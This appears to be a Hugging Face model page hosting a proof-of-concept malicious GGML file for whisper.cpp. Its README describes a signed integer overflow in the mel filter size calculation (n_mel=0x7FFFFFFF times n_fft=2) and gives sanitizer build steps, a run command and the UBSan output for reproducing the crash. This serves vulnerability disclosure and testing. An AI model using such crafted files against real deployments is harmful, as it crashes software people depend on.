Downloads · 30 days
0
Rammadaeus/poc-whisper-mel-integer-overflow
poc-whisper-mel-integer-overflow is a machine learning model from Rammadaeus. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Format: GGML (.bin) Target: whisper.cpp (ggml-org/whisper.cpp) CWE: CWE-190 (Integer Overflow)
Downloads · 30 days
0
Access
Public
Updated Feb 18, 2026
Repo size
1.1 KB
Likes
0
Public
Click a slice to open those files.
Other1.5 KB · 44%
From the Hugging Face model README
Format: GGML (.bin) Target: whisper.cpp (ggml-org/whisper.cpp) CWE: CWE-190 (Integer Overflow)
Signed integer overflow in mel filter size calculation. n_mel=0x7FFFFFFF * n_fft=2 overflows int32 → massive vector::resize() → crash.
git clone https://github.com/ggml-org/whisper.cpp && cd whisper.cpp
mkdir build-asan && cd build-asan
cmake .. -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g" \
-DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined"
make -j$(nproc)
./bin/whisper-cli -m ../poc_mel_overflow.bin -f /dev/null
UBSan reports: runtime error: signed integer overflow: 2147483647 * 2
Tested: whisper.cpp commit 364c77f4